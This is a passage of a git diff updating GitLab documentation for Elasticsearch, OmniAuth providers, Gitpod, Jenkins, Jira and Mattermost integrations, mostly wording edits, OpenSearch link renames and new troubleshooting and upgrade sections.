- You might want to raise [`indices.memory.index_buffer_size`](https://www.elastic.co/guide/en/elasticsearch/reference/current/indexing-buffer.html) to 30% or 40% if you have a lot of heavy indexing operations.
### Advanced Search integration settings guidance
-- The `Number of Elasticsearch shards` setting usually corresponds with the number of CPUs available in your cluster. For example, if you have a 3-node cluster with 4 cores each, this means you will benefit from having at least 3*4=12 shards in the cluster. It's only possible to change the shards number by using [Split index API](https://www.elastic.co/guide/en/elasticsearch/reference/current/indices-split-index.html) or by reindexing to a different index with a changed number of shards.
-- The `Number of Elasticsearch replicas` setting should most of the time be equal to `1` (each shard will have 1 replica). Using `0` is not recommended, because losing one node will corrupt the index.
+- The `Number of Elasticsearch shards` setting usually corresponds with the number of CPUs available in your cluster. For example, if you have a 3-node cluster with 4 cores each, this means you benefit from having at least 3*4=12 shards in the cluster. It's only possible to change the shards number by using [Split index API](https://www.elastic.co/guide/en/elasticsearch/reference/current/indices-split-index.html) or by reindexing to a different index with a changed number of shards.
+- The `Number of Elasticsearch replicas` setting should most of the time be equal to `1` (each shard has 1 replica). Using `0` is not recommended, because losing one node corrupts the index.
### Indexing large instances
@@ -548,7 +548,7 @@ This section may be helpful in the event that the other
due to large volumes of data being indexed.
WARNING:
-Indexing a large instance will generate a lot of Sidekiq jobs.
+Indexing a large instance generates a lot of Sidekiq jobs.
Make sure to prepare for this task by having a [Scalable and Highly Available
Setup](../administration/reference_architectures/index.md) or creating [extra
Sidekiq processes](../administration/operations/extra_sidekiq_processes.md).
@@ -890,11 +890,11 @@ There is also an easy way to check it automatically with `sudo gitlab-rake gitla
This exception is seen when your Elasticsearch cluster is configured to reject requests above a certain size (10MiB in this case). This corresponds to the `http.max_content_length` setting in `elasticsearch.yml`. Increase it to a larger size and restart your Elasticsearch cluster.
-AWS has [fixed limits](https://docs.aws.amazon.com/elasticsearch-service/latest/developerguide/aes-limits.html) for this setting ("Maximum Size of HTTP Request Payloads"), based on the size of the underlying instance.
+AWS has [fixed limits](https://docs.aws.amazon.com/opensearch-service/latest/developerguide/aes-limits.html) for this setting ("Maximum Size of HTTP Request Payloads"), based on the size of the underlying instance.
### My single node Elasticsearch cluster status never goes from `yellow` to `green` even though everything seems to be running properly
-**For a single node Elasticsearch cluster the functional cluster health status will be yellow** (never green) because the primary shard is allocated but replicas cannot be as there is no other node to which Elasticsearch can assign a replica. This also applies if you are using the [Amazon Elasticsearch](https://docs.aws.amazon.com/elasticsearch-service/latest/developerguide/aes-handling-errors.html#aes-handling-errors-yellow-cluster-status) service.
+**For a single node Elasticsearch cluster the functional cluster health status will be yellow** (never green) because the primary shard is allocated but replicas cannot be as there is no other node to which Elasticsearch can assign a replica. This also applies if you are using the [Amazon OpenSearch](https://docs.aws.amazon.com/opensearch-service/latest/developerguide/aes-handling-errors.html#aes-handling-errors-yellow-cluster-status) service.
WARNING:
Setting the number of replicas to `0` is discouraged (this is not allowed in the GitLab Elasticsearch Integration menu). If you are planning to add more Elasticsearch nodes (for a total of more than 1 Elasticsearch) the number of replicas will need to be set to an integer value larger than `0`. Failure to do so will result in lack of redundancy (losing one node will corrupt the index).
@@ -981,11 +981,11 @@ however searches will only surface results that can be viewed by the user.
Advanced Search will honor all permission checks in the application by
filtering out projects that a user does not have access to at search time.
-### Access requirements for the self-managed AWS Elasticsearch Service
+### Access requirements for the self-managed AWS OpenSearch Service
-To use the self-managed AWS Elasticsearch Service with GitLab, configure your instance's domain access policies
+To use the self-managed AWS OpenSearch Service with GitLab, configure your instance's domain access policies
to contain the actions below.
-See [Identity and Access Management in Amazon Elasticsearch Service](https://docs.aws.amazon.com/elasticsearch-service/latest/developerguide/es-ac.html) for details.
+See [Identity and Access Management in Amazon OpenSearch Service](https://docs.aws.amazon.com/opensearch-service/latest/developerguide/ac.html) for details.
```plaintext
es:ESHttpDelete
diff --git a/doc/integration/facebook.md b/doc/integration/facebook.md
index 1a3360aa470..b94fa24d290 100644
--- a/doc/integration/facebook.md
+++ b/doc/integration/facebook.md
@@ -81,9 +81,10 @@ Facebook. Facebook generates an app ID and secret key for you to use.
```ruby
gitlab_rails['omniauth_providers'] = [
{
- "name" => "facebook",
- "app_id" => "YOUR_APP_ID",
- "app_secret" => "YOUR_APP_SECRET"
+ name: "facebook",
+ # label: "Provider name", # optional label for login button, defaults to "Facebook"
+ app_id: "YOUR_APP_ID",
+ app_secret: "YOUR_APP_SECRET"
}
]
```
@@ -91,7 +92,9 @@ Facebook. Facebook generates an app ID and secret key for you to use.
For installations from source:
```yaml
- - { name: 'facebook', app_id: 'YOUR_APP_ID',
+ - { name: 'facebook',
+ # label: 'Provider name', # optional label for login button, defaults to "Facebook"
+ app_id: 'YOUR_APP_ID',
app_secret: 'YOUR_APP_SECRET' }
```
diff --git a/doc/integration/github.md b/doc/integration/github.md
index 11a9a5ea64d..d8877e069b8 100644
--- a/doc/integration/github.md
+++ b/doc/integration/github.md
@@ -50,10 +50,11 @@ Follow these steps to incorporate the GitHub OAuth 2 app in your GitLab server:
```ruby
gitlab_rails['omniauth_providers'] = [
{
- "name" => "github",
- "app_id" => "YOUR_APP_ID",
- "app_secret" => "YOUR_APP_SECRET",
- "args" => { "scope" => "user:email" }
+ name: "github",
+ # label: "Provider name", # optional label for login button, defaults to "GitHub"
+ app_id: "YOUR_APP_ID",
+ app_secret: "YOUR_APP_SECRET",
+ args: { scope: "user:email" }
}
]
```
@@ -63,11 +64,12 @@ Follow these steps to incorporate the GitHub OAuth 2 app in your GitLab server:
```ruby
gitlab_rails['omniauth_providers'] = [
{
- "name" => "github",
- "app_id" => "YOUR_APP_ID",
- "app_secret" => "YOUR_APP_SECRET",
- "url" => "https://github.example.com/",
- "args" => { "scope" => "user:email" }
+ name: "github",
+ # label: "Provider name", # optional label for login button, defaults to "GitHub"
+ app_id: "YOUR_APP_ID",
+ app_secret: "YOUR_APP_SECRET",
+ url: "https://github.example.com/",
+ args: { scope: "user:email" }
}
]
```
@@ -85,7 +87,9 @@ Follow these steps to incorporate the GitHub OAuth 2 app in your GitLab server:
For GitHub.com:
```yaml
- - { name: 'github', app_id: 'YOUR_APP_ID',
+ - { name: 'github',
+ # label: 'Provider name', # optional label for login button, defaults to "GitHub"
+ app_id: 'YOUR_APP_ID',
app_secret: 'YOUR_APP_SECRET',
args: { scope: 'user:email' } }
```
@@ -94,6 +98,7 @@ Follow these steps to incorporate the GitHub OAuth 2 app in your GitLab server:
```yaml
- { name: 'github',
+ # label: 'Provider name', # optional label for login button, defaults to "GitHub"
app_id: 'YOUR_APP_ID',
app_secret: 'YOUR_APP_SECRET',
url: "https://github.example.com/",
@@ -122,12 +127,13 @@ For Omnibus package:
```ruby
gitlab_rails['omniauth_providers'] = [
{
- "name" => "github",
- "app_id" => "YOUR_APP_ID",
- "app_secret" => "YOUR_APP_SECRET",
- "url" => "https://github.example.com/",
- "verify_ssl" => false,
- "args" => { "scope" => "user:email" }
+ name: "github",
+ # label: "Provider name", # optional label for login button, defaults to "GitHub"
+ app_id: "YOUR_APP_ID",
+ app_secret: "YOUR_APP_SECRET",
+ url: "https://github.example.com/",
+ verify_ssl: false,
+ args: { scope: "user:email" }
}
]
```
@@ -142,6 +148,7 @@ For installation from source:
```yaml
- { name: 'github',
+ # label: 'Provider name', # optional label for login button, defaults to "GitHub"
app_id: 'YOUR_APP_ID',
app_secret: 'YOUR_APP_SECRET',
url: "https://github.example.com/",
diff --git a/doc/integration/gitlab.md b/doc/integration/gitlab.md
index b69147b3829..2dd357e50a6 100644
--- a/doc/integration/gitlab.md
+++ b/doc/integration/gitlab.md
@@ -53,10 +53,11 @@ GitLab.com generates an application ID and secret key for you to use.
```ruby
gitlab_rails['omniauth_providers'] = [
{
- "name" => "gitlab",
- "app_id" => "YOUR_APP_ID",
- "app_secret" => "YOUR_APP_SECRET",
- "args" => { "scope" => "api" }
+ name: "gitlab",
+ # label: "Provider name", # optional label for login button, defaults to "GitLab.com"
+ app_id: "YOUR_APP_ID",
+ app_secret: "YOUR_APP_SECRET",
+ args: { scope: "api" }
}
]
```
@@ -66,10 +67,11 @@ GitLab.com generates an application ID and secret key for you to use.
```ruby
gitlab_rails['omniauth_providers'] = [
{
- "name" => "gitlab",
- "app_id" => "YOUR_APP_ID",
- "app_secret" => "YOUR_APP_SECRET",
- "args" => { "scope" => "api", "client_options" => { "site" => "https://gitlab.example.com/api/v4" } }
+ name: "gitlab",
+ label: "Provider name", # optional label for login button, defaults to "GitLab.com"
+ app_id: "YOUR_APP_ID",
+ app_secret: "YOUR_APP_SECRET",
+ args: { scope: "api", client_options: { site: "https://gitlab.example.com/api/v4" } }
}
]
```
@@ -78,6 +80,7 @@ GitLab.com generates an application ID and secret key for you to use.
```yaml
- { name: 'gitlab',
+ # label: 'Provider name', # optional label for login button, defaults to "GitLab.com"
app_id: 'YOUR_APP_ID',
app_secret: 'YOUR_APP_SECRET',
args: { scope: 'api' } }
@@ -87,6 +90,7 @@ GitLab.com generates an application ID and secret key for you to use.
```yaml
- { name: 'gitlab',
+ label: 'Provider name', # optional label for login button, defaults to "GitLab.com"
app_id: 'YOUR_APP_ID',
app_secret: 'YOUR_APP_SECRET',
args: { scope: 'api', "client_options": { "site": 'https://gitlab.example.com/api/v4' } }
diff --git a/doc/integration/gitpod.md b/doc/integration/gitpod.md
index 26520df18fa..977e794396e 100644
--- a/doc/integration/gitpod.md
+++ b/doc/integration/gitpod.md
@@ -5,7 +5,7 @@ group: Editor
info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments"
---
-# Gitpod Integration **(FREE)**
+# Gitpod integration **(FREE)**
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/228893) in GitLab 13.4.
> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/258206) in GitLab 13.8
@@ -38,7 +38,7 @@ With the Gitpod integration enabled for your GitLab instance, to enable it for y
1. In the top-right corner, select your avatar.
1. Select **Preferences**.
1. Under **Preferences**, locate the **Integrations** section.
-1. Check the **Enable Gitpod integration** checkbox and select the **Save changes** button.
+1. Select the **Enable Gitpod integration** checkbox and select **Save changes**.
## Configure a self-managed instance **(FREE SELF)**
@@ -50,9 +50,9 @@ For GitLab self-managed instances, a GitLab administrator needs to:
1. On the top bar, select **Menu > Admin**.
1. On the left sidebar, select **Settings > General**.
1. Expand the **Gitpod** configuration section.
- 1. Check the **Enable Gitpod integration** checkbox.
+ 1. Select the **Enable Gitpod integration** checkbox.
1. Add your Gitpod instance URL (for example, `https://gitpod.example.com`).
- 1. Select the **Save changes** button.
+ 1. Select **Save changes**.
Your users can then [enable it for themselves](#enable-gitpod-in-your-user-settings).
diff --git a/doc/integration/google.md b/doc/integration/google.md
index 5df76ebb3d1..d6a37dbf30f 100644
--- a/doc/integration/google.md
+++ b/doc/integration/google.md
@@ -79,10 +79,11 @@ On your GitLab server:
```ruby
gitlab_rails['omniauth_providers'] = [
{
- "name" => "google_oauth2",
- "app_id" => "YOUR_APP_ID",
- "app_secret" => "YOUR_APP_SECRET",
- "args" => { "access_type" => "offline", "approval_prompt" => '' }
+ name: "google_oauth2",
+ # label: "Provider name", # optional label for login button, defaults to "Google"
+ app_id: "YOUR_APP_ID",
+ app_secret: "YOUR_APP_SECRET",
+ args: { access_type: "offline", approval_prompt: "" }
}
]
```
@@ -91,6 +92,7 @@ On your GitLab server:
```yaml
- { name: 'google_oauth2',
+ # label: 'Provider name', # optional label for login button, defaults to "Google"
app_id: 'YOUR_APP_ID',
app_secret: 'YOUR_APP_SECRET',
args: { access_type: 'offline', approval_prompt: '' } }
diff --git a/doc/integration/img/ding_talk_menu.png b/doc/integration/img/ding_talk_menu.png
index 2c5a23435fa..fe020cab397 100644
--- a/doc/integration/img/ding_talk_menu.png
+++ b/doc/integration/img/ding_talk_menu.png
Binary files differ
diff --git a/doc/integration/img/omniauth_providers_v_14_6.png b/doc/integration/img/omniauth_providers_v_14_6.png
new file mode 100644
index 00000000000..b434e9a210b
--- /dev/null
+++ b/doc/integration/img/omniauth_providers_v_14_6.png
Binary files differ
diff --git a/doc/integration/index.md b/doc/integration/index.md
index 0b2bf6fde94..61d8547aaf7 100644
--- a/doc/integration/index.md
+++ b/doc/integration/index.md
@@ -46,7 +46,7 @@ GitLab has integrated with several security partners. For more information, see
## Continuous integration
-GitLab can be integrated with the following external service for continuous integration:
+GitLab can be integrated with the following external services for continuous integration:
- [Jenkins](jenkins.md) CI.
- [Datadog](datadog.md), to monitor for CI/CD job failures and performance issues.
diff --git a/doc/integration/jenkins.md b/doc/integration/jenkins.md
index 2bbda74533f..822530775e5 100644
--- a/doc/integration/jenkins.md
+++ b/doc/integration/jenkins.md
@@ -179,6 +179,17 @@ to integrate GitLab and Jenkins.
## Troubleshooting
+### Error during GitLab configuration - "Connection failed. Please check your settings"
+
+If you get this error message while configuring GitLab, the following are possible causes:
+
+- GitLab is unable to reach your Jenkins instance at the address. If your GitLab instance is self-managed, try pinging the
+ Jenkins instance at the domain provided on the GitLab instance.
+- The Jenkins instance is at a local address and is not included in the
+ [GitLab installation's allowlist](../security/webhooks.md#allowlist-for-local-requests).
+- The credentials for the Jenkins instance do not have sufficient access or are invalid.
+- The **Enable authentication for ‘/project’ end-point checkbox** is not selected in your [Jenkin's plugin configuration](#configure-the-jenkins-server).
+
### Error in merge requests - "Could not connect to the CI server"
This integration relies on Jenkins reporting the build status back to GitLab via
diff --git a/doc/integration/jira/connect-app.md b/doc/integration/jira/connect-app.md
index 27f482ee2ba..597293ae5ca 100644
--- a/doc/integration/jira/connect-app.md
+++ b/doc/integration/jira/connect-app.md
@@ -76,7 +76,7 @@ If the app requires additional permissions, [the update must first be manually a
## Install the GitLab.com for Jira Cloud app for self-managed instances **(FREE SELF)**
If your GitLab instance is self-managed, you must follow some
-extra steps to install the GitLab.com for Jira Cloud app.
+extra steps to install the GitLab.com for Jira Cloud app, and your GitLab instance must be accessible by Jira.
Each Jira Cloud application must be installed from a single location. Jira fetches
a [manifest file](https://developer.atlassian.com/cloud/jira/platform/connect-app-descriptor/)
diff --git a/doc/integration/jira/dvcs.md b/doc/integration/jira/dvcs.md
index 2b7cc5ff0a6..e69b7675a59 100644
--- a/doc/integration/jira/dvcs.md
+++ b/doc/integration/jira/dvcs.md
@@ -265,3 +265,22 @@ resynchronize the information:
For more information, read
[Atlassian's documentation](https://support.atlassian.com/jira-cloud-administration/docs/synchronize-jira-cloud-to-bitbucket/).
+
+### `Sync Failed` error when refreshing repository data
+
+If you get a `Sync Failed` error in Jira when [refreshing repository data](#refresh-data-imported-to-jira) for specific projects, check your DVCS connector logs. Look for errors that occur when executing requests to API resources in GitLab. For example:
+
+```plaintext
+Failed to execute request [https://gitlab.com/api/v4/projects/:id/merge_requests?page=1&per_page=100 GET https://gitlab.com/api/v4/projects/:id/merge_requests?page=1&per_page=100 returned a response status of 403 Forbidden] errors:
+{"message":"403 Forbidden"}
+```
+
+If you find a `{"message":"403 Forbidden"}` error, it is possible that this specific project has some [GitLab features disabled](../../user/project/settings/index.md#sharing-and-permissions).
+In the example above, the merge requests feature is disabled.
+
+To resolve the issue, enable the relevant feature:
+
+1. On the top bar, select **Menu > Projects** and find your project.
+1. On the left sidebar, select **Settings > General**.
+1. Expand **Visibility, project features, permissions**.
+1. Use the toggles to enable the features as needed.
diff --git a/doc/integration/jira/img/open_jira_issues_list_v13.2.png b/doc/integration/jira/img/open_jira_issues_list_v13.2.png
deleted file mode 100644
index 0cf58433b25..00000000000
--- a/doc/integration/jira/img/open_jira_issues_list_v13.2.png
+++ /dev/null
Binary files differ
diff --git a/doc/integration/jira/img/open_jira_issues_list_v14_6.png b/doc/integration/jira/img/open_jira_issues_list_v14_6.png
new file mode 100644
index 00000000000..6f06b7fec9a
--- /dev/null
+++ b/doc/integration/jira/img/open_jira_issues_list_v14_6.png
Binary files differ
diff --git a/doc/integration/jira/issues.md b/doc/integration/jira/issues.md
index 70e938a24d4..e24862242e1 100644
--- a/doc/integration/jira/issues.md
+++ b/doc/integration/jira/issues.md
@@ -101,10 +101,10 @@ Consider this example:
You can browse, search, and view issues from a selected Jira project directly in GitLab,
if your GitLab administrator [has configured it](configure.md).
-To do this, in GitLab, go to your project and select **Jira > Issues list**. The issue list
+To do this, in GitLab, go to your project and select **Issues > Jira issues**. The issue list
sorts by **Created date** by default, with the newest issues listed at the top:
-![Jira issues integration enabled](img/open_jira_issues_list_v13.2.png)
+![Jira issues integration enabled](img/open_jira_issues_list_v14_6.png)
- To display the most recently updated issues first, select **Last updated**.
- You can [search and filter](#search-and-filter-the-issues-list) the issues list.
@@ -140,7 +140,7 @@ Enhancements to use these filters through the user interface
## Automatic issue transitions
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/...) in GitLab 13.10.
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/55773) in GitLab 13.11.
When you configure automatic issue transitions, you can transition a referenced
Jira issue to the next available status with a category of **Done**. To configure
diff --git a/doc/integration/mattermost/gitlab-mattermost.msc b/doc/integration/mattermost/gitlab-mattermost.msc
deleted file mode 100644
index f6d4bf7aa68..00000000000
--- a/doc/integration/mattermost/gitlab-mattermost.msc
+++ /dev/null
@@ -1,28 +0,0 @@
-msc {
- # Use https://mscgen.js.org or mscgen to convert this into PNG
- hscale="1.5",
- wordwraparcs=on;
-
- user [ label="User", textbgcolor="blue", textcolor="white" ],
- mattermost [ label="Mattermost", textbgcolor="red", textcolor="white"],
- gitlab [ label="GitLab", textbgcolor="indigo", textcolor="white"];
-
- user=>mattermost [label="GET https://mm.domain.com"];
- mattermost note gitlab [label="Obtain access code", textcolor="green"];
- mattermost=>gitlab [label="GET https://gitlab.domain.com/oauth/authorize", textcolor="indigo"];
- gitlab rbox user [label="GitLab user logs in (if necessary)"];
- gitlab rbox gitlab [label="GitLab verifies client_id matches an OAuth application"];
- gitlab=>user [label="GitLab asks user to authorize Mattermost OAuth app"];
- user=>gitlab [label="User clicks 'Allow'"];
- gitlab rbox gitlab [label="GitLab verifies redirect_uri matches list of valid URLs"];
- gitlab=>user [label="302 Redirect: https://mm.domain.com/signup/gitlab/complete"];
- user=>mattermost [label="GET https://mm.domain.com/signup/gitlab/complete", textcolor="red"];
- mattermost note gitlab [label="Exchange access code for access token", textcolor="green"];
- mattermost=>gitlab [label="POST http://gitlab.domain.com/oauth/token", textcolor="indigo"];
- gitlab=>gitlab [label="Doorkeeper::TokensController#create"];
- gitlab=>mattermost [label="Access token", textcolor="red"];
- mattermost note gitlab [label="Mattermost looks up GitLab user", textcolor="green"];
- mattermost=>gitlab [label="GET https://gitlab.domain.com/api/v4/user", textcolor="indigo"];
- gitlab=>mattermost [label="User details", textcolor="red"];
- mattermost=>user [label="Mattermost/GitLab user ready"];
-}
diff --git a/doc/integration/mattermost/img/gitlab-mattermost.png b/doc/integration/mattermost/img/gitlab-mattermost.png
deleted file mode 100644
index c3b019988d0..00000000000
--- a/doc/integration/mattermost/img/gitlab-mattermost.png
+++ /dev/null
Binary files differ
diff --git a/doc/integration/mattermost/index.md b/doc/integration/mattermost/index.md
index 0489ccd431c..97da971dd75 100644
--- a/doc/integration/mattermost/index.md
+++ b/doc/integration/mattermost/index.md
@@ -18,8 +18,8 @@ Each release of GitLab Mattermost is compiled and manually tested on an AMD 64 c
## Getting started
-GitLab Mattermost expects to run on its own virtual host. In your DNS settings you will need
-two entries pointing to the same machine, e.g., `gitlab.example.com` and
+GitLab Mattermost expects to run on its own virtual host. In your DNS settings, you need
+two entries pointing to the same machine. For example, `gitlab.example.com` and
`mattermost.example.com`.
GitLab Mattermost is disabled by default. To enable it:
@@ -41,7 +41,7 @@ GitLab Mattermost is disabled by default. To enable it:
The Omnibus GitLab package attempts to automatically authorize GitLab Mattermost with GitLab if the applications are running on the same server.
Automatic authorization requires access to the GitLab database. If the GitLab database is not available
-you will need to manually authorize GitLab Mattermost for access to GitLab using the process described in the [Authorize GitLab Mattermost section](#authorize-gitlab-mattermost).
+you need to manually authorize GitLab Mattermost for access to GitLab using the process described in the [Authorize GitLab Mattermost section](#authorize-gitlab-mattermost).
## Configuring Mattermost
@@ -51,7 +51,7 @@ Mattermost settings and where they can be set is available [in the Mattermost do
While using the System Console is recommended, you can also configure Mattermost using one of the following options:
1. Edit the Mattermost configuration directly through `/var/opt/gitlab/mattermost/config.json`.
-1. Specify environment variables used to run Mattermost by changing the `mattermost['env']` setting in `gitlab.rb`. Any settings configured in this way will be disabled from the System Console and cannot be changed without restarting Mattermost.
+1. Specify environment variables used to run Mattermost by changing the `mattermost['env']` setting in `gitlab.rb`. Any settings configured in this way are disabled from the System Console and cannot be changed without restarting Mattermost.
## Running GitLab Mattermost with HTTPS
@@ -71,7 +71,7 @@ mattermost_nginx['redirect_http_to_https'] = true
```
If you haven't named your certificate and key `mattermost.gitlab.example.crt`
-and `mattermost.gitlab.example.key` then you'll need to also add the full paths
+and `mattermost.gitlab.example.key` then you need to also add the full paths
as shown below.
```ruby
@@ -85,7 +85,7 @@ Once the configuration is set, run `sudo gitlab-ctl reconfigure` to apply the ch
## Running GitLab Mattermost on its own server
-If you want to run GitLab and GitLab Mattermost on two separate servers the GitLab services will still be set up on your GitLab Mattermost server, but they will not accept user requests or
+If you want to run GitLab and GitLab Mattermost on two separate servers the GitLab services are still set up on your GitLab Mattermost server, but they do not accept user requests or
consume system resources. You can use the following settings and configuration details on the GitLab Mattermost server to effectively disable the GitLab service bundled into the Omnibus package.
```ruby
@@ -124,7 +124,7 @@ http://mattermost.example.com/login/gitlab/complete
Note that you do not need to select any options under **Scopes**. Choose **Save application**.
-Once the application is created you will be provided with an `Application ID` and `Secret`. One other piece of information needed is the URL of GitLab instance.
+Once the application is created you are provided with an `Application ID` and `Secret`. One other piece of information needed is the URL of GitLab instance.
Return to the server running GitLab Mattermost and edit the `/etc/gitlab/gitlab.rb` configuration file as follows using the values you received above:
```ruby
@@ -190,7 +190,7 @@ sudo -i -u gitlab-psql -- /opt/gitlab/embedded/bin/pg_dump -h /var/opt/gitlab/po
#### Back up the `data` directory and `config.json`
-Mattermost has a `data` directory and `config.json` file that will need to be backed up as well:
+Mattermost has a `data` directory and `config.json` file that need to be backed up as well:
```shell
sudo tar -zcvf mattermost_data_$(date --rfc-3339=date).gz -C /var/opt/gitlab/mattermost data config.json
@@ -339,6 +339,11 @@ Below is a list of Mattermost versions for GitLab 11.10 and later:
| 14.2 | 5.37 |
| 14.3 | 5.38 |
| 14.4 | 5.39 |
+| 14.5 | 5.39 |
+| 14.6 | 6.1 |
+
+- GitLab 14.5 remained on Mattermost 5.39
+- GitLab 14.6 updates to Mattermost 6.1 instead of 6.0
NOTE:
When upgrading the Mattermost version, it is essential to check the
@@ -346,8 +351,8 @@ When upgrading the Mattermost version, it is essential to check the
for Mattermost to address any changes or migrations that need to be performed.
Starting with GitLab 11.0, GitLab Mattermost can be upgraded through the regular Omnibus GitLab update process. When upgrading previous versions of
-GitLab that process can only be used if Mattermost configuration settings have not been changed outside of GitLab (i.e., no changes to Mattermost's `config.json`
-file have been made, either directly or via the Mattermost **System Console** which saves back changes to `config.json`.)
+GitLab, the update process can only be used if Mattermost configuration settings have not been changed outside of GitLab. That is, no changes to Mattermost's `config.json`
+file have been made - either directly or via the Mattermost **System Console**, which saves changes to `config.json`.
If you are upgrading to at least GitLab 11.0 or have only configured Mattermost using `gitlab.rb`, you can upgrade GitLab using Omnibus and then run `gitlab-ctl reconfigure` to upgrade GitLab Mattermost to the latest version.
@@ -364,6 +369,21 @@ If this is not the case, there are two options:
For a complete list of upgrade notices and special considerations for older versions, see the [Mattermost documentation](https://docs.mattermost.com/administration/important-upgrade-notes.html).
+## Upgrading GitLab Mattermost to 14.6
+
+GitLab 14.6 includes Mattermost 6.1, and also includes the migrations for Mattermost 6.0. For information about upgrading and for ways to reduce the downtime of those migrations, read the [Important Upgrade Notes](https://docs.mattermost.com/administration/important-upgrade-notes.html) for both versions.
+
+NOTE:
+The Mattermost upgrade notes refer to different impacts when used with a PostgreSQL versus a MySQL database. The GitLab Mattermost included with the GitLab Linux packages uses a PostgreSQL database.
+
+If you need to connect in the database to perform any manual migrations, run the following:
+
+```console
+sudo gitlab-psql -d mattermost_production
+```
+
+You can then run the necessary queries that are described in the [Important Upgrade Notes](https://docs.mattermost.com/administration/important-upgrade-notes.html).
+
## Upgrading GitLab Mattermost from versions prior to 11.0
With version 11.0, GitLab introduced breaking changes which affected Mattermost configuration.
@@ -476,7 +496,27 @@ The following image is a sequence diagram for how GitLab works as an OAuth2
provider for Mattermost. You can use this to troubleshoot errors
in getting the integration to work:
-![sequence diagram](img/gitlab-mattermost.png)
+```mermaid
+sequenceDiagram
+ User->>Mattermost: GET https://mm.domain.com
+ Note over Mattermost, GitLab: Obtain access code
+ Mattermost->>GitLab: GET https://gitlab.domain.com/oauth/authorize
+ Note over User, GitLab: GitLab user signs in (if necessary)
+ Note over GitLab: GitLab verifies client_id matches an OAuth application
+ GitLab->>User: GitLab asks user to authorize Mattermost OAuth app
+ User->>GitLab: User selects 'Allow'
+ Note over GitLab: GitLab verifies redirect_uri matches list of valid URLs
+ GitLab->>User: 302 redirect: https://mm.domain.com/signup/gitlab/complete
+ User->>Mattermost: GET https://mm.domain.com/signup/gitlab/complete
+ Note over Mattermost, GitLab: Exchange access code for access token
+ Mattermost->>GitLab: POST http://gitlab.domain.com/oauth/token
+ GitLab->>GitLab: Doorkeeper::TokensController#35;create
+ GitLab->>Mattermost: Access token
+ Note over Mattermost, GitLab: Mattermost looks up GitLab user
+ Mattermost->>GitLab: GET https://gitlab.domain.com/api/v4/user
+ GitLab->>Mattermost: User details
+ Mattermost->>User: Mattermost/GitLab user ready
+```
## Troubleshooting the Mattermost CLI
diff --git a/doc/integration/oauth2_generic.md b/doc/integration/oauth2_generic.md
index cdc7e6db61c..3d44da8b4c8 100644
--- a/doc/integration/oauth2_generic.md
+++ b/doc/integration/oauth2_generic.md
@@ -4,31 +4,39 @@ group: Integrations
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Sign into GitLab with (almost) any OAuth2 provider **(FREE SELF)**
+# Generic OAuth2 provider **(FREE SELF)**
-The `omniauth-oauth2-generic` gem allows Single Sign-On between GitLab and your own OAuth2 provider
-(or any OAuth2 provider compatible with this gem)
+The `omniauth-oauth2-generic` gem allows single sign-on (SSO) between GitLab
+and your OAuth2 provider (or any OAuth2 provider compatible with this gem).
-This strategy is designed to allow configuration of the simple OmniAuth SSO process outlined below:
+This strategy allows for the configuration of this OmniAuth SSO process:
-1. Strategy directs client to your authorization URL (**configurable**), with specified ID and key
-1. OAuth provider handles authentication of request, user, and (optionally) authorization to access user's profile
-1. OAuth provider directs client back to GitLab where Strategy handles retrieval of access token
-1. Strategy requests user information from a **configurable** "user profile" URL (using the access token)
-1. Strategy parses user information from the response, using a **configurable** format
-1. GitLab finds or creates the returned user and logs them in
+1. Strategy directs the client to your authorization URL (**configurable**), with
+ the specified ID and key.
+1. The OAuth2 provider handles authentication of the request, user, and (optionally)
+ authorization to access user's profile.
+1. The OAuth2 provider directs the client back to GitLab where Strategy handles
+ the retrieval of the access token.
+1. Strategy requests user information from a **configurable** "user profile"
+ URL (using the access token).
+1. Strategy parses user information from the response, using a **configurable**
+ format.
+1. GitLab finds or creates the returned user and signs them in.
-## Limitations of this Strategy
+## Limitations of this strategy
-- It can only be used for Single Sign on, and doesn't provide any other access granted by any OAuth provider
- (importing projects or users, etc)
-- It only supports the Authorization Grant flow (most common for client-server applications, like GitLab)
-- It is not able to fetch user information from more than one URL
-- It has not been tested with user information formats other than JSON
+- It can only be used for single sign-on, and doesn't provide any other access
+ granted by any OAuth2 provider (like importing projects or users).
+- It supports only the Authorization Grant flow (most common for client-server
+ applications, like GitLab).
+- It can't fetch user information from more than one URL.
+- It hasn't been tested with user information formats, other than JSON.
-## Configuration Instructions
+## Configure the OAuth2 provider
-1. Register your application in the OAuth2 provider you wish to authenticate with.
+To configure the provider:
+
+1. Register your application in the OAuth2 provider you want to authenticate with.
The redirect URI you provide when registering the application should be:
@@ -36,13 +44,13 @@ This strategy is designed to allow configuration of the simple OmniAuth SSO proc
http://your-gitlab.host.com/users/auth/oauth2_generic/callback
```
-1. You should now be able to get a Client ID and Client Secret.
- Where this shows up differs for each provider.
- This may also be called Application ID and Secret
+ You should now be able to get a Client ID and Client Secret. Where this
+ appears differs for each provider. This may also be called Application ID
+ and Secret.
-1. On your GitLab server, open the configuration file.
+1. On your GitLab server, open the appropriate configuration file.
- For Omnibus package:
+ For Omnibus GitLab:
```shell
sudo editor /etc/gitlab/gitlab.rb
@@ -55,36 +63,37 @@ This strategy is designed to allow configuration of the simple OmniAuth SSO proc
sudo -u git -H editor config/gitlab.yml
```
-1. See [Configure initial settings](omniauth.md#configure-initial-settings) for initial settings
+1. See [Configure initial settings](omniauth.md#configure-initial-settings) for
+ initial settings.
-1. Add the provider-specific configuration for your provider, for example:
+1. Add the provider-specific configuration for your provider. For example:
```ruby
gitlab_rails['omniauth_providers'] = [
- { 'name' => 'oauth2_generic',
- 'label' => '<your_oauth2_label>',
- 'app_id' => '<your_app_client_id>',
- 'app_secret' => '<your_app_client_secret>',
- 'args' => {
+ {
+ name: "oauth2_generic",
+ label: "Provider name", # optional label for login button, defaults to "Oauth2 Generic"
+ app_id: "<your_app_client_id>",
+ app_secret: "<your_app_client_secret>",
+ args: {
client_options: {
- 'site' => '<your_auth_server_url>',
- 'user_info_url' => '/oauth2/v1/userinfo',
- 'authorize_url' => '/oauth2/v1/authorize',
- 'token_url' => '/oauth2/v1/token'
- },
- user_response_structure: {
- root_path: [],
